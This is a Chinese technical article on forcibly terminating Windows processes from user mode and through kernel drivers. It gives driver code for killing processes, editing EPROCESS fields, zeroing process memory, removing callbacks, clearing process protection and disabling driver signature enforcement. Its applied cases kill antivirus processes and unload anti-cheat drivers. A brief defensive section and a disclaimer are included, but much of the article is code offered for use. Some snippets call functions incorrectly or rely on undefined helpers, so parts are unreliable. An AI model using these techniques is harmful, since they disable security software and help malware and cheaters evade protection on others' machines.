浅谈进程强杀
字数 1018 2025-08-07 08:22:25
浅谈Windows进程强杀技术
1. Windows权限级别基础
Windows操作系统采用特权级别保护机制,分为四个环(Ring0-Ring3):
- Ring0(内核模式):最高权限级别,操作系统内核运行于此
- Ring3(用户模式):普通应用程序运行级别,权限受限
- Ring1和Ring2在Windows中未使用
2. 进程终止的基本方法
2.1 用户模式终止方法
TerminateProcess函数:
BOOL TerminateProcess(
HANDLE hProcess,
UINT uExitCode
);
- 需要PROCESS_TERMINATE访问权限
- 无法终止系统关键进程和权限更高的进程
其他用户模式API:
ExitProcess:终止当前进程CreateRemoteThread+ExitProcess:远程线程注入终止
2.2 内核模式终止方法
当用户模式API失效时,需要借助内核模式技术:
3. 内核模式进程终止技术
3.1 驱动开发基础
所需工具:
- Windows Driver Kit (WDK)
- Visual Studio
- 测试签名或正式签名
基本驱动结构:
#include <ntddk.h>
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
// 驱动初始化代码
return STATUS_SUCCESS;
}
3.2 关键内核API
PsLookupProcessByProcessId:
NTSTATUS PsLookupProcessByProcessId(
HANDLE ProcessId,
PEPROCESS *Process
);
- 通过PID获取EPROCESS结构
ZwTerminateProcess:
NTSTATUS ZwTerminateProcess(
HANDLE ProcessHandle,
NTSTATUS ExitStatus
);
- 内核模式下的进程终止函数
3.3 完整驱动实现示例
#include <ntddk.h>
NTSTATUS TerminateProcessByPid(HANDLE pid)
{
PEPROCESS Process;
NTSTATUS status = PsLookupProcessByProcessId(pid, &Process);
if (NT_SUCCESS(status)) {
HANDLE hProcess;
status = ObOpenObjectByPointer(Process, OBJ_KERNEL_HANDLE, NULL,
PROCESS_ALL_ACCESS, *PsProcessType,
KernelMode, &hProcess);
if (NT_SUCCESS(status)) {
status = ZwTerminateProcess(hProcess, STATUS_SUCCESS);
ZwClose(hProcess);
}
ObDereferenceObject(Process);
}
return status;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Driver Unloaded\n");
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload;
DbgPrint("Driver Loaded\n");
// 示例:终止PID为1234的进程
TerminateProcessByPid((HANDLE)1234);
return STATUS_SUCCESS;
}
4. 高级进程终止技术
4.1 直接操作EPROCESS
通过修改EPROCESS结构中的关键字段强制终止进程:
PEPROCESS Process;
PsLookupProcessByProcessId(pid, &Process);
// 设置退出状态
*(LONG*)((ULONG_PTR)Process + ExitStatusOffset) = STATUS_SUCCESS;
// 设置退出时间
*(LARGE_INTEGER*)((ULONG_PTR)Process + ExitTimeOffset) = KeQueryInterruptTime();
// 修改进程状态
*(UCHAR*)((ULONG_PTR)Process + ProcessFlagsOffset) |= PSF_PROCESS_EXIT;
4.2 内存清零技术
通过清零进程关键内存区域强制终止:
PVOID baseAddress = PsGetProcessSectionBaseAddress(Process);
SIZE_T regionSize = 0;
PMDL mdl = IoAllocateMdl(baseAddress, PAGE_SIZE, FALSE, FALSE, NULL);
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
RtlZeroMemory(baseAddress, PAGE_SIZE);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
5. 绕过进程保护机制
5.1 禁用回调通知
// 移除进程创建通知回调
PsSetCreateProcessNotifyRoutineEx(RemoveProcessNotifyRoutine, TRUE);
// 移除线程创建通知回调
PsRemoveCreateThreadNotifyRoutine(ThreadNotifyRoutine);
5.2 修改保护标志
// 关闭DSE(驱动签名强制)
ULONG g_CiOptions = GetCiOptionsAddress();
WriteProtectedULONG(g_CiOptions, g_CiOptions & ~0x8);
// 修改进程保护标志
ULONG protection = *(PULONG)((ULONG_PTR)Process + ProtectionOffset);
protection = 0;
WriteProtectedULONG((ULONG_PTR)Process + ProtectionOffset, protection);
6. 注意事项与防御措施
6.1 开发注意事项
- 需要处理各种异常情况(无效PID、权限不足等)
- 注意内存管理和对象引用计数
- 考虑系统稳定性影响
6.2 防御此类攻击的方法
- 启用PatchGuard(内核补丁保护)
- 使用受保护的进程(Protected Process)
- 实施驱动签名验证
- 监控异常进程终止行为
7. 实际应用案例
7.1 对抗杀毒软件自保护
// 枚举杀软进程
PEPROCESS process;
PsLookupProcessByProcessId(avPid, &process);
// 检查并绕过其保护机制
if (IsProtectedProcess(process)) {
DisableProcessProtection(process);
}
// 终止进程
TerminateProcessByPid(avPid);
7.2 游戏反作弊绕过
// 查找反作弊驱动
PDRIVER_OBJECT acDriver;
UNICODE_STRING driverName = RTL_CONSTANT_STRING(L"\\Driver\\AntiCheat");
ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0,
*IoDriverObjectType, KernelMode, NULL, (PVOID*)&acDriver);
// 卸载驱动
IoDeleteDriver(acDriver);
8. 总结
Windows进程强杀技术从用户模式到内核模式涉及多个层次:
- 用户模式API受限较多,无法终止高权限进程
- 内核模式驱动开发提供了完全控制能力
- 高级技术包括直接内存操作和回调绕过
- 实际应用需要考虑对抗和防御措施
此类技术应仅用于合法研究和防御目的,滥用可能导致系统不稳定或法律问题。